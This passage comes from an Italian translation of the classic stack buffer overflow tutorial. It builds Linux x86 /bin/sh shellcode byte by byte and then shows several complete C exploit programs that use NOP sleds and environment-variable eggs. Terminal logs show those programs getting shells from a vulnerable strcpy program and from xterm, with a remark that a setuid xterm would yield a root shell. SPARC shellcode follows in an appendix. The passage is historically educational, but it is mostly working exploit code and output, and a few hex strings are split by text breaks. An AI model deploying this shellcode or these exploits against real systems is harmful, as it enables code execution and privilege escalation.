[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| cima dello base dello stack stack Il codice per eseguire una shell e' questo: shellcode.c ------------------------------------------------------------------------ #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------ Per vedere come e' in assembly lo compiliamo e eseguiamo gdb. Ricorda di usare il flag -static. Altrimenti il codice reale per la system call execve non sara' incluso. Ci sara' invece un riferimento alla libreria C dinamica che viene normalmente linkata in load time. ------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------ Cerchiamo di capire cosa sta succedendo qui. Partiamo studiando la main: ------------------------------------------------------------------------ ------ 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Questo e' l' inizio della procedura. Prima salva il vecchio frame pointer, fa diventare il corrente stack pointer il nuovo frame pointer, e crea lo spazio per le variabili locali. In questo caso: char *name[2]; o 2 puntatori char. I puntatori sono lunghi come una word, quindi in questo caso occupano lo spazio per due word (8 byte). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Copiamo il valore 0x80027b8 (l' indirizzo della stringa "/bin/sh") nel primo puntatore di name[]. Questo e' equivalente a: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[]. Questo e' equivalente a: name[1] = NULL; La chiamata ad execve parte qui. 0x8000144 : pushl $0x0 Pushamo gli argomenti di execve() in ordine inverso sullo stack. Partiamo con NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax Carichiamo l' indirizzo di name[] nel registro EAX. 0x8000149 : pushl %eax Pushamo l' indirizzo di name[] sullo stack. 0x800014a : movl 0xfffffff8(%ebp),%eax Carichiamo l' indirizzo della stringa "/bin/sh" nel registro EAX. 0x800014d : pushl %eax Pushamo l' indirizzo della stringa "/bin/sh" sullo stack. 0x800014e : call 0x80002bc <__execve> Chiamata alla procedura di libreria execve(). L' istruzione call pusha l' IP sullo stack. ------------------------------------------------------------------------ Ora execve(). Ricorda che stiamo utilizzando un sistema Intel su Linux. I dettagli della syscall cambiano da OS a OS, e da CPU a CPU. Alcune passano gli argomenti sullo stack, altre sui registri. Alcune usano degli interrupt software per saltare a kernel mode, altre usano una far call. Linux passa i suoi argomenti della chiamata di sistema sui registri, e usa un interrupt software per saltare a kernel mode. ------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx L' inizio della procedura. 0x80002c0 <__execve+4>: movl $0xb,%eax Copia 0xb (11 decimale) sullo stack. Questo e' l' index sulla syscall table. 11 e' execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copia l' indirizzo di "/bin/sh" su EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copia l' indirizzo di name[] su ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copia l' indirizzo del puntatore null su %edx. 0x80002ce <__execve+18>: int $0x80 Salta a kernel mode. ------------------------------------------------------------------------ Cosi' come possiamo vedere non c'e' molto sulla system call execve(). Tutto quello che abbiamo bisogno di fare e': a) Avere la stringa "/bin/sh" da qualche parte in memoria b) Avere l' indirizzo della stringa "/bin/sh" da qualche parte in memoria seguita da una long word nulla. c) Copiare 0xb nel registro EAX. d) Copiare l' indirizzo dell' indirizzo della stringa "/bin/sh"sul registro EBX. e) Copiare l' indirizzo della stringa "/bin/sh" nel registro ECX. f) Copiare l' indirizzo della long word nulla nel registro EDX. g) Eseguire l' istruzione int $0x80. Provando a mettere insieme tutte queste cose in assembly, mettendo la stringa dopo il codice, e ricordando che dovremo sapere l' indirizzo della stringa, e mettere una word nulla dopo l' array, abbiamo: ------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------ Il problema e' che non sappiamo dove verra' messo il codice (e la stringa che lo segue) che stiamo provando ad exploittare nello spazio in memoria del programma. Un modo e' di usare una JMP e una istruzione CALL. Le istruzioni CALL e JMP possono usare un indirizzamento IP relativo, il che significa che possiamo saltare ad un offset dal corrente IP senza la necessita' di saperel' esatto indirizzo in memoria di dove vogliamo saltare. Se mettiamo un' istruzione CALL prima della stringa "/bin/sh", e un' istruzione JMP ad essa, gli indirizzi delle stringhe saranno pushati sullo stack come indirizzo di ritorno quando CALL verra' eseguita. Tutto quello di cui abbiamo bisogno e' di copiare l' indirizzo di ritorno in un registro. L' istruzione CALL chiama semplicemente l' inizio del nostro codice. Assumendo che J sta per l' istruzione JMP, C per l' istruzione CALL, e s per la stringa, il flusso di esecuzione sara': base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello base dello stack stack Con questa modifica, usando un indirizzamento indexed, e scrivendo quanti byte prende ogni istruzione il nostro codice sara': ------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------ Calcolando gli offsets da jmp a call, da call a popl, dall' indirizzo della stringa all' array, e dall' indirizzo della stringa alla word nulla, abbiamo: ------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------ Per essere sicuri che funziona dobbiamo compilarlo ed eseguirlo. Ma c'e' un problema. Il nostro codice si modifica da solo, ma molti sistemi operativi marcano le pagine di codice read-only. Per raggirare questa restrizione dobbiamo mettere il codice da eseguire nello stack o nel data segment, e trasferirci il controllo. Per farlo metteremo il nostro codice in un array globale nel data segment. Abbiamo bisogno di una rappresentazione esadecimale del codice binario. Compiliamo e usiamo gdb per ottenerlo. shellcodeasm.c ------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------ ------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for detail s. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ ------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------ Funziona! Ma c'e' un ostacolo. In molto casi overfloweremo un buffer di caratteri. Quindi ogni byte nullo nel nostro shellcode sara' considerato la fine della stringa, e la copia verra' terminata. Non ci devono essere byte nulli nel nostro shellcode. Proviamo ad eliminare i byte nulli dallo shellcode (e allo stesso tempo farlo piu' piccolo). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Il nostro codice migliorato: shellcodeasm2.c ------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------ E il nostro nuovo programma di test: testsc2.c ------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0 b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc d" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ ------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------ Scrivere un Exploit ~~~~~~~~~~~~~~~~~~~ (o come mungare lo stack) ~~~~~~~~~~~~~~~~~~~~~~~~~ Proviamo a mettere tutte le nostre cose insieme. Abbiamo lo shellcode. Sappiamo che deve far parte della stringa che useremo per overfloware il buffer. Sappiamo che dobbiamo far puntare l' indirizzo di ritorno al buffer. Questo esempio dimostra questi punti: overflow1.c ------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0 b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc d" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------ ------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------ Quello che abbiamo fatto sopra e' stato di riempire l' array large_string[] con l' indirizzo di buffer[], che e' dove il nostro codice sara'. Dopo copiamo il nostro shellcode all' inizio della stringa large_string. strcpy() copiera' poi large_string in buffer senza fare nessun controllo sulla lunghezza, e overflowera'l' indirizzo di ritorno, sovrascrivendolo con l' indirizzo di dove sta il nostrocodice. Quando raggiungeremo la fine di main, essa provera' a ritornareal nostrocodice, ed eseguira' una shell. Il problema che incontriamo quando proviamo ad overfloware il buffer di un' altro programma e' provare a vedere a quale indirizzo il buffer (e il nostro codice) sara'. La risposta e' che per tutti i programmi lo stack parte allo stesso indirizzo. Molti programmi non pushano piu' di poche centinaia o migliaia di byte sullo stack in ogni momento. Quindi sapendo dove parte lo stack possiamo provare ad indovinare dove sta il buffer che stiamo provando ad overfloware. Ecco un piccolo programma che stampa il suo stack pointer. sp.c ------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------ ------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------ Assumiamo che questo e' il programma che sitamo provando ad overflowa re: vulnerable.c ------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------ Possiamo creare un programma che prende come parametro la grandezza del buffer, e un offset dal suo stack pointer (dove crediamo che il buffer da overfloware si trovi). Mettiamo la stringa "overflowante" in una variabile di ambiente cosi' sara' facile da manipolare: exploit2.c ------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------ Ora possiamo provare ad indovinare il buffer e l' offset: ------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------ Come possiamo vedere non e' una soluzione efficiente. Provare ad indovinare l' offset e' quasi impossibile. Nel migliore dei casi dovremo fare cento tentativi, e nel peggiore migliaia. Il problema e' che dobbiamo indovinare *esattamente* l' indirizzo di dove il nostro codice inizia. Se ci sbagliamo di un byte in piu' o in meno avremo una segmentation violation o una invalidinstruction. Un metodo per aumentare le nostre chanche e' di riempire con istruzioni NOP lo spazio prima del buffer da overfloware. Quasi tutti iprocessori hanno un' istruzione NOP che esegue un' operazione nulla. E' di solito usata per funzioni di delay. Noi la useremo a nostro vantaggio eriempiremo la meta' del nostro buffer con esse. Metteremo il nostro shellcode al centro, seguito dall' indirizzo di ritorno. Se siamo fortunati e l' indirizzo di ritorno punta da qualche parte in mezzo ai NOP, li eseguira' e arrivera' al nostro codice. Sui processori Intel l' istruzione NOP e' lunga un byte e in codice macchina diventa 0x90. Assumendo che lo stack parta all' indirizz o 0xFF, che le S stanno per lo shellcode, e le N per le istruzioni NOP lo stack sara': base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| cima dello base dello stack stack Il nuovo exploit sara': exploit3.c ------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------ Una buona scelta per la dimensione del nostro buffer e' di circa 100 byte in piu' del buffer che stiamo provando ad exploittare. Cosi' il nostro codice si trovera' alla fine del buffer che stiamo provando ad exploittare, dando molto spazio alle NOP ma sovrascrivendo l' indirizzo di ritorno con l' indirizzo che abbiamo indovinato. Il buffer che stiamo provando ad exploittare e' lungo 512 byte, cosi' noi useremo 612. Proviamo ad exploittare il nostro programma di test con il nostro nuovo exploit: ------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------ Wow! Al primo tentativo! Questa modifica ha incrementato notevolmente le nostre possibilita' di successo. Proviamolo in un caso reale di buffer overflow. Useremo per la nostra dimostrazione il buffer overflow delle librerie Xt. Per il nostro esempio useremo xterm (tutti i programmi che sfruttano le librerie Xt sono vulnerabili). Devi eseguire un server X e permettere connessioni da localhost ad esso. Setta la tue variabili DISPLAY di conseguenza. ------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF ?1@?/bin/sh???????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF ?1@?/bin/sh?H?H?H?H?H?H?H?H?H?H?H? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF ?1@?/bin/sh?T?T?T?T?T?T?T?T?T?T?T? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------ Trovato! Meno di una dozzina di prove e abbiamo trovato il numero giusto. Se xterm era suiddato root avevamo una shell root. Overflows Di Piccoli Buffer ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ci saranno volte che il buffer da overfloware sara' talmente piccolo che non ci entrera' neanche lo shellcode, che sovrascrivera' l' indirizzo di ritorno con instruzioni invece che con l' indirizzo del nostro codice, oppure che le NOP che potremo mettere saranno talmente poche che le nostre possibilita' di indovinare il loro indirizzo saranno minuscole. Per ottenere una shell da questi buffer dobbiamo usare un altro metodo. Questo particolare approccio funziona solo se abbiamo accesso alle variabili di ambiente del programma. Quello che dobbiamo fare e' piazzare il nostro shellcode in una variabile d' ambiente, e quindi overfloware il buffer con l' indirizzo di questa variabile in memoria. Questo metodo inoltre ci da la possibilita' di decidere a piacere le dimensioni della variabile d' ambiente che contiene il nostro shellcode. Le variabili di ambiente sono messe sulla cima dello stack quando il programma parte, ogni modifica di setenv() e' allocata da un altra parte. Lo stack all' inizio sara': NULLNULL Il nostro nuovo programma prendera' una variabile extra, la grandezza della variabile contenente lo shellcode e le NOP. Il nostro nuovo exploit sara': exploit4.c ------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------ Proviamo il nostro nuovo exploit con il nostro programma di test vulnerabile: ------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------ Funziona. Ora proviamolo con xterm: ------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------ Al primo tentativo! Ha certamente incrementato le nostre probabilita'. Dipendentemente da quanti dati di ambiente l' exploit ha confrontato con il programma che stai provando ad exploittare, l' indirizzo puo' essere troppo basso o troppo alto. Prova sia con offset negativi che positivi. Trovare Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ Come detto prima, si ha un buffer overflow quando si cerca di mettere in un buffer piu' dati di quanti ne possa contenere. Dato che il C non ha nessun controllo dei limiti built-in, gli overflow spesso si manifestano scrivendo oltre la fine di un array di caratteri. La libreria standard del C fornisce delle funzioni per copiare e appendere stringhe, che non fanno controlli sui limiti. Tra queste: strcat(), strcpy(), sprintf(), e vsprintf(). Queste funzioni lavorano su stringhe terminate dal carattere null, e non controllano overflow sulla stringa ricevuta. La funizone gets() legge una riga da stdin e la mette in un buffer finche' non incontra il carattere newline o EOF. Non esegue nessun controllo sull' overflow del buffer. La famiglia di funzioni scanf() possono essere un problema se stai lavorando su una sequenza di caratteri che non sono spazio (%s), o lavorando su una non-vuota sequenza di caratteri da un set specificato (%[]), e l' array puntato dal puntatore char, non e' grande abbastanza per accettare l' intera sequenza di caratteri, e non hai definito la lunghezza massima. Se l' obiettivo di una di queste funzioni e' un buffer di dimensioni statiche, e l' altro argomento deriva almeno in parte dall' input dell' utente c'e' una buona possibilita' che puoi exploittare un buffer overflow. Un altro costrutto di programmazione che possiamo trovare e' l' uso di un ciclo while per leggere un carattere per volta da stdin o da un file fino a newline, EOF o qualche altro delimitarore e metterlo in un buffer. Questo tipo di costrutto usa di solito una di queste funzioni: getc(), fgetc(), o getchar(). Se nel ciclo while non c'e' un controllo esplicito per gli overflowpossiamo facilmente exploittare il programma. Per concludere, grep(1) e' un tuo amico. I sorgenti dei sistemi operativi liberi e delle loro utilities sono disponibili. Questo fatto puo' diventare abbastanza interessante sapendo che molte utilities per sistemi operativi commerciali derivano dai sorgenti delle stesse libere. Usa i sorgenti. Appendice A - Shellcode per Sistemi Operativi/Architetture Differenti ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 